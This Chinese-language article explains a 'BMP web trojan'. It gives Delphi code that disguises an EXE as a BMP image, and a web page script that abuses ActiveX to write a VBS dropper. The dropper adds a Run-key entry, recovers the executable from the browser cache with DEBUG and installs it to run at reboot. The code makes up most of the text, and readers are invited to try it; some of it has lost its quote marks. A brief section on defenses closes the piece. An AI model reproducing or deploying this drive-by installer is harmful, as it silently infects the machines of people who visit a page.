详解BMP木马

网络编程 发布日期:2024/12/26 浏览次数:1

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首先说明这不是什么新的东西,但最近有人说我们没有,那就随便写编文章放上来了,大家自己试验一下. 何谓BMP网页木马?它和过去早就用臭了的MIME头漏洞的木马不同,MIME木马是把一个EXE文件用MIME编码为一个EML(OUT LOOK信件)文件,放到网页上利用IE和OE的编码漏洞实现自动下载和执行. 
然而BMP木马就不同,它把一个EXE文件伪装成一个BMP图片文件,欺骗IE自动下载,再利用网页中的javascript脚本查找客户端的Internet临时文件夹,找到下载后的BMP文件,把它拷贝到TEMP目录.再编写一个脚本把找到的BMP文件用DEBUG还原成EXE,并把它放到注册表启动项中,在下一次开机时执行.但是这种技术只能在9X下发挥作用,对于2K,XP来说是无能为力了. 

看上去好象很复杂,下面我们一步一步来: 
1) EXE变BMP的方法. 
大家自己去查查BMP文件资料就会知道,BMP文件的文件头有54个字节,简单来说里面包含了BMP文件的长宽,位数,文件大小,数据区长度,我们只要在EXE文件的文件头前面添加相应的BMP文件头(当然BMP文件头里面的数据要符合EXE文件的大小啦),这样就可以欺骗IE下载该BMP文件,开始我们用JPG文件做过试验,发现如果文件头不正确的话,IE是不会下载的,转换代码如下: 

program exe2bmp; 

uses 
Windows, 
SysUtils; 

var len,row,col,fs: DWORD; 
buffer: array[0..255]of char; 
fd: WIN32_FIND_DATA; 
h,hw: THandle; 

begin 
if (ParamStr(1)<>) and(ParamStr(2)<>) then begin //如果运行后没有两个参数则退出 
if FileExists(ParamStr(1)) then begin 
FindFirstFile(Pchar(ParamStr(1)),fd); 
fs:=fd.nFileSizeLow; 
col := 4; 
while true do begin 
if (fs mod 12)=0 then begin 
len:=fs; 
end else len:=fs+12-(fs mod 12); 
row := len div col div 3; 
if row>col then begin 
col:=col+4; 
end else Break; 
end; 
FillChar(buffer,256,0); 
{一下为BMP文件头数据} 
Buffer[0]:=B;Buffer[1]:=M; 
PDWORD(@buffer[18])^:=col; 
PDWORD(@buffer[22])^:=row; 
PDWORD(@buffer[34])^:=len; 
PDWORD(@buffer[2])^:=len+54; 
PDWORD(@buffer[10])^:=54; 
PDWORD(@buffer[14])^:=40; 
PWORD(@buffer[26])^:=1; 
PWORD(@buffer[28])^:=24; 
{写入文件} 
hw:=CreateFile(Pchar(ParamStr(2)),GENERIC_WRITE,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,CREATE_ALWAYS,0,0); 
h:=CreateFile(Pchar(ParamStr(1)),GENERIC_READ,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,OPEN_EXISTING,0,0); 
WriteFile(hw,buffer,54,col,0); 
repeat 
ReadFile(h,buffer,256,col,0); 
WriteFile(hw,buffer,col,col,0); 
untilcol<>256; 
WriteFile(hw,buffer,len-fs,col,0); 
CloseHandle(h); 
CloseHandle(hw); 
end; 
end; 
end. 


以上代码可以在DELPHI4,5,6中编译 ,就可以得到一个exe2bmp.exe文件.大家打开MSDOS方式,输入 
exe2bmp myexe.exe mybmp.bmp 
回车就可以把第二个参数所指定的EXE文件转换成BMP格式. 
接着就是把这个BMP图片放到网页上了,如果大家打开过这张图片的话,一定发现这张BMP又花,颜色又单调.所以大家放在网页上最好用这样的格式 


以下是放在网页上的脚本 
document.write( ); 
function docsave() 
{ 
a=document.applets[0]; 
a.setCLSID({F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}); 
a.createInstance(); 
wsh=a.GetObject(); 
a.setCLSID({0D43FE01-F093-11CF-8940-00A0C9054228}); 
a.createInstance(); 
fso=a.GetObject(); 
var winsys=fso.GetSpecialFolder(1); 
var vbs=winsys+\\s.vbs; 
wsh.RegWrite 
(HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs,wscript +"+vbs+" ); 
var st=fso.CreateTextFile(vbs,true); 
st.WriteLine(Option Explicit); 
st.WriteLine(Dim FSO,WSH,CACHE,str); 
st.WriteLine(Set FSO = CreateObject("Scripting.FileSystemObject")); 
st.WriteLine(Set WSH = CreateObject("WScript.Shell")); 
st.WriteLine(CACHE=wsh.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellFolders\\Cache")); 
st.WriteLine(wsh.RegDelete("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs")); 
st.WriteLine (wsh.RegWrite "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\tmp","tmp.exe"); 
st.WriteLine(SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"); 
st.WriteLine(WScript.Quit()); 
st.WriteLine(Function SearchBMPFile(Folder,fname)); 
st.WriteLine( Dim SubFolder,File,Lt,tmp,winsys); 
st.WriteLine( str=FSO.GetParentFolderName(folder) & "\\" & folder.name & "\\" & fname); 
st.WriteLine( if FSO.FileExists(str) then); 
st.WriteLine( tmp=fso.GetSpecialFolder(2) & "\\"); 
st.WriteLine( winsys=fso.GetSpecialFolder(1) & "\\"); 
st.WriteLine( set File=FSO.GetFile(str)); 
st.WriteLine( File.Copy(tmp & "tmp.dat")); 
st.WriteLine( File.Delete); 
st.WriteLine( set Lt=FSO.CreateTextFile(tmp & "tmp.in")); 
st.WriteLine( Lt.WriteLine("rbx")); 
st.WriteLine( Lt.WriteLine("0")); 
st.WriteLine( Lt.WriteLine("rcx")); 
st.WriteLine( Lt.WriteLine("1000")); 
st.WriteLine( Lt.WriteLine("w136")); 
st.WriteLine( Lt.WriteLine("q")); 
st.WriteLine( Lt.Close); 
st.WriteLine( WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp & "tmp.in >" & tmp & "tmp.out",false,6); 
st.WriteLine( On Error Resume Next ); 
st.WriteLine( FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")); 
st.WriteLine( FSO.GetFile(tmp & "tmp.dat").Delete); 
st.WriteLine( FSO.GetFile(tmp & "tmp.in").Delete); 
st.WriteLine( FSO.GetFile(tmp & "tmp.out").Delete); 
st.WriteLine( end if); 
st.WriteLine( If Folder.SubFolders.Count <> 0 Then); 
st.WriteLine( For Each SubFolder In Folder.SubFolders); 
st.WriteLine( SearchBMPFile SubFolder,fname); 
st.WriteLine( Next); 
st.WriteLine( End If); 
st.WriteLine(End Function); 
st.Close(); 
} 
setTimeout(docsave(),1000); 

把该脚本保存为"js.js",在网页中插入: 


该脚本主要会在本地机器的SYSTEM目录下生成一个“S.VBS”文件,该脚本文件会在下次开机时自动运行。主要用于从临时目录中找出mybmp[1].bmp文件。 
“S.VBS”文件主要内容如下: 

Option Explicit 
Dim FSO,WSH,CACHE,str 
Set FSO = CreateObject("Scripting.FileSystemObject") 
Set WSH = CreateObject("WScript.Shell") 
CACHE=wsh.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders\Cache") 
wsh.RegDelete("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\vbs") 
wsh.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\tmp","tmp.exe" 
SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp" 
WScript.Quit() 
Function SearchBMPFile(Folder,fname) 
Dim SubFolder,File,Lt,tmp,winsys 
从临时文件夹中查找目标BMP图片 
str=FSO.GetParentFolderName(folder) & "\" & folder.name & "\" & fname 
if FSO.FileExists(str) then 
tmp=fso.GetSpecialFolder(2) & "\" 
winsys=fso.GetSpecialFolder(1) & "\" 
set File=FSO.GetFile(str) 
File.Copy(tmp & "tmp.dat") 
File.Delete 
生成一个DEBUG脚本 
set Lt=FSO.CreateTextFile(tmp & "tmp.in") 
Lt.WriteLine("rbx") 
Lt.WriteLine("0") 
Lt.WriteLine("rcx") 
下面一行的1000是十六进制,换回十进制是4096(该数字是你的EXE文件的大小) 
Lt.WriteLine("1000") 
Lt.WriteLine("w136") 
Lt.WriteLine("q") 
Lt.Close 
WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp &"tmp.in>" & tmp & "tmp.out",false,6 
On Error Resume Next 
FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe") 
FSO.GetFile(tmp & "tmp.dat").Delete 
FSO.GetFile(tmp & "tmp.in").Delete 
FSO.GetFile(tmp & "tmp.out").Delete 
end if 
If Folder.SubFolders.Count <> 0 Then 
For Each SubFolder In Folder.SubFolders 
SearchBMPFile SubFolder,fname 
Next 
End If 
End Function 

这个脚本会找出在临时文件夹中的bmp文件,并生成一个DEBUG的脚本,运行时会自动从BMP文件54字节处读去你指定大小的数据,并把它保存到tmp.dat中.后面的脚本再把它复制到SYSTEM的目录下.这个被还原的EXE文件会在下次重起的时候运行.这就是BMP木马的基本实现过程. 
详细脚本代码请参考http://hotsky.363.net 

防范方法: 
最简单,删除或改名wscrpit.exe文件和DEBUG 文件; 
安装有效的杀毒软件,因为这些脚本有好多杀毒软件已经可以查出来了. 
在条件允许的情况下,安装WIN2K SP3,尽量避免去一些不名来历的网站. 

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